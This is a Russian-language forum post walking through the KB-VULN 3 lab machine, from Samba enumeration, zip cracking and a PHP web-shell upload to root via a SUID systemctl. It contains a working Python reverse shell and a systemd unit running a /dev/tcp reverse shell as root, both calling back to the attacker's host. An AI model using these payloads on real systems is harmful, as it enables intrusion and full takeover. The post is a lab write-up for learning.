INPC сказал(а):
Приветствую!
Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут
1 и
2.
Найти и скачать коробку можно тутKB-VULN: 3
Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.
Как всегда, сначала найдем атакуемую машину в сети при помощи команды:
В результате видим нужный ip:
Теперь просканируем машину nmap'ом:
Код:
~$ nmap -A -p- -v 192.168.3.142
Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:
Код:
~$ smbmap -H 192.168.3.142
Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):
Код:
~$ smbclient //192.168.3.142/Files
В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:
Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:
Код:
~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v
И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:
Что ж, пойдем смотреть. А перейдя на сайт (http://192.168.3.142) видим очень красивую страницу 404:
Нужно подкорректировать файл hosts:
Код:
~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts
И, перейдя на сайт (http://kb.vuln/) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу http://kb.vuln/admin
Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:
Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):
Код:
http://kb.vuln/files/editor/shell.php?cmd=ls
Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :
Python:
Код:
import
os
,
socket
,
subprocess
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
"192.168.3.131"
,
1337
)
)
os
.
dup2
(
s
.
fileno
(
)
,
0
)
os
.
dup2
(
s
.
fileno
(
)
,
1
)
os
.
dup2
(
s
.
fileno
(
)
,
2
)
p
=
subprocess
.
call
(
[
"/bin/bash"
,
"-i"
]
)
Загрузив файл, проверим, что он есть:
Теперь запустим прослушиватель на основной машине:
Выдадим права на запуск файлу rev.py на сервере и запустим его:
Код:
http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py
Код:
http://kb.vuln/files/editor/shell.php?cmd=python rev.py
Мы внутри, пойдем, попробуем прочитать пользовательский флаг:
Код:
www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt
6346c6d19751f1a3195f1e4b4b609544
Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl
Код:
www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null
Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:
Bash:
Код:
[
Unit
]
Description
=
Whatever
[
Service
]
Type
=
simple
User
=
root
ExecStart
=
/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"
[
Install
]
WantedBy
=
multi-user.target
Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:
Код:
~$ sudo python -m SimpleHTTPServer 80
Код:
www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service
Предварительно запустим прослушиватель на основной машине:
Осталось запустить сервис:
Код:
www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants
Код:
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service
/dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.
Код:
www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor
<ystem/multi-user.target.wants$ systemctl start toor
I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:
Сам флаг- 49360ba4cbe27a1b900df25b247315d7
На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.
Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.
Большое спасибо всем, кто дочитал этот врайтап до конца.